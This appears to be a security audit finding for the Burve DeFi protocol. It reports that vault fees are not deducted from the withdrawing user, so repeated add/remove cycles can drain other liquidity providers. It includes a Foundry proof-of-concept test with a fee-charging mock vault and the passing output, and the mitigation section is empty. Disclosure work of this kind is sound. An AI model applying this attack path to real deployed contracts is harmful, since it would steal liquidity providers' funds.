Curved Lemonade Dove

High

# Vertex calculates the vault fee for closure, but the final fee is not borne by the user, which will cause the attacker to make the liquidity provider lose all of their funds

### Summary

The general call logic for taking out liquidity is as follows:
ValueFacet.removeValue()
——   assets.remove()
——   vertex.withdraw()
———— E4626.withdraw()
        

In the E4626.sol contract, both `totalAssets` and `self.totalShares` in the `withdraw function` take into account the vault fee. However, the amount is not considered, the amount is the accurate value of the user to withdraw the liquidity funds, and the calculation here does not consider whether the sharesToRemove belongs to the user, if these shares do not belong to the user, the deduction is actually the liquidity of other users in the closure.
```solidity
        uint256 sharesToRemove = FullMath.mulDiv(
            self.totalShares,
            amount,
            totalAssets
        ); // Rounds down, leaves some share dust in the vault.
        self.shares[cid] -= sharesToRemove;
```
In addition, the vault fee logic is also not taken into account when processing the user ledger in the assets.remove() function.
As a result, the attacker can donate all the funds in the closure to the vault in the form of vault fees by constantly adding/removing liquidity. Liquidity providers will lose all of their funds.

### Root Cause

In neither the [Asset.sol](https://github.com/sherlock-audit/2025-04-burve/blob/44cba36e2a0c3cd7b6999459bf7746db92f8cc0a/Burve/src/multi/Asset.sol#L106-L130) nor [E4626.sol](https://github.com/sherlock-audit/2025-04-burve/blob/44cba36e2a0c3cd7b6999459bf7746db92f8cc0a/Burve/src/multi/vertex/E4626.sol#L146-L153) contracts, the vault fee is deducted from the user's ledger.

### Internal Pre-conditions

none

### External Pre-conditions

1. There is a handling fee for vault.

### Attack Path

1. Liquidity providers (referred to by bob) deposit liquidity and expect to continue to earn profits.
2. Attacker alice, constantly adding/removing liquidity through flash loans. (This process will exhaust the funds in the pool.)
3. Liquidity providers cannot withdraw their liquidity, they will lose all their funds.

### Impact

Liquidity providers may lose all of their funds.

### PoC

Running the poc requires the vault to be able to charge a fee, so replace test/mocks/MockERC4626.sol with the following code.
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

import "openzeppelin-contracts/token/ERC20/extensions/ERC4626.sol";
import "openzeppelin-contracts/token/ERC20/ERC20.sol";

contract MockERC4626 is ERC4626 {
    uint _fee;

    constructor(
        ERC20 asset,
        string memory name,
        string memory symbol
    ) ERC20(name, symbol) ERC4626(asset) {}

    /** @dev See {IERC4626-previewWithdraw}. */
    function previewWithdraw(uint256 assets) public view virtual override returns (uint256) {
        assets = assets * (10000 - _fee) / 10000;
        return _convertToShares(assets, Math.Rounding.Ceil);
    }

    /** @dev See {IERC4626-previewRedeem}. */
    function previewRedeem(uint256 shares) public view virtual override returns (uint256) {
        shares = shares * (10000 - _fee) / 10000;
        return _convertToAssets(shares, Math.Rounding.Floor);
    }

    function setFee(uint fee) public {
        _fee = fee;
    }
}
```

run `forge test --mt test_user_withdraw_no_vault_fee -vvvv`
Put the following poc into the test/facets/ folder:
```solidity
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.27;

import {MultiSetupTest} from "./MultiSetup.u.sol";
import {console2 as console} from "forge-std/console2.sol";
import {ValueFacet} from "../../src/multi/facets/ValueFacet.sol";
import {ERC20} from "openzeppelin-contracts/token/ERC20/ERC20.sol";
import {AssetBookImpl} from "../../src/multi/Asset.sol";
import {MAX_TOKENS} from "../../src/multi/Token.sol";
import {MockERC20} from "../mocks/MockERC20.sol";
import {MockERC4626} from "../mocks/MockERC4626.sol";

contract VaultFeeTest is MultiSetupTest {
    function setUp() public {
        vm.startPrank(owner);
        _newDiamond();
        _newTokens(4);
        _fundAccount(alice);
        _fundAccount(bob);
        // Its annoying we have to fund first.
        _fundAccount(address(this));
        _fundAccount(owner);
        // So we have to redo the prank.
        vm.startPrank(owner);
        _initializeClosure(0xF, 100e18); // 1,2,3,4
        _initializeClosure(0xE, 100e18); // 2,3,4
        _initializeClosure(0xD, 100e18); // 1,3,4
        _initializeClosure(0xc, 1e12); // 3,4
        _initializeClosure(0xB, 100e18); // 1,2,4
        _initializeClosure(0xa, 1e12); // 2,4
        _initializeClosure(0x9, 1e18); // 1,4
        _initializeClosure(0x8, 1e12); // 4
        _initializeClosure(0x7, 100e18); // 1,2,3
        _initializeClosure(0x6, 1e12); // 2,3
        _initializeClosure(0x5, 1e12); // 1,3
        _initializeClosure(0x4, 1e12); // 3
        _initializeClosure(0x3, 100e18); // 1,2
        _initializeClosure(0x2, 1e12); // 2
        _initializeClosure(0x1, 1e12); // 1
        vm.stopPrank();
    }

    function test_user_withdraw_no_vault_fee() public {
        uint256 oneX128 = 1 << 128;
        // In order to facilitate the display effect, set a very large fee, and the principle remains the same. Even if the fee is not high, an attacker can use up the funds by making multiple calls through a flash loan.
        MockERC4626(address(vaults[0])).setFee(2000);

        uint256[4] memory initBalances = getBalances(alice);

        vm.prank(bob);
        valueFacet.addValue(bob, 0x9, 1e18, 0);

        // Alice exhausts the funds in the diamond by adding and removing liquidity.
        vm.prank(alice);
        valueFacet.addValue(alice, 0x9, 1e19, 0);
        
        vm.prank(alice);
        valueFacet.removeValue(alice, 0x9, 1e19, 0);
        (uint256 value1, uint256 bgtValue1, , ) = valueFacet.queryValue(
            alice,
            0x9
        );

        uint256[4] memory initBalances1 = getBalances(alice);
        // Alice's funds have not decreased, just a loss of 1wei precision.
        console.log("alice diffBalance0:", initBalances[0] - initBalances1[0]);
        console.log("alice diffBalance3:", initBalances[3] - initBalances1[3]);

        // Bob will not be able to remove liquidity, as will other users.
        vm.startPrank(bob);
        vm.expectRevert();
        valueFacet.removeValue(bob, 0x9, 1e18, 0);
    }

    function getBalances(
        address who
    ) public view returns (uint256[4] memory balances) {
        for (uint8 i = 0; i < 4; ++i) {
            balances[i] = ERC20(tokens[i]).balanceOf(who);
        }
    }
}
```

```diff
[PASS] test_user_withdraw_no_vault_fee() (gas: 1355443)
Logs:
  alice diffBalance0: 1
  alice diffBalance3: 1

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 12.73ms (2.77ms CPU time)
```

### Mitigation

_No response_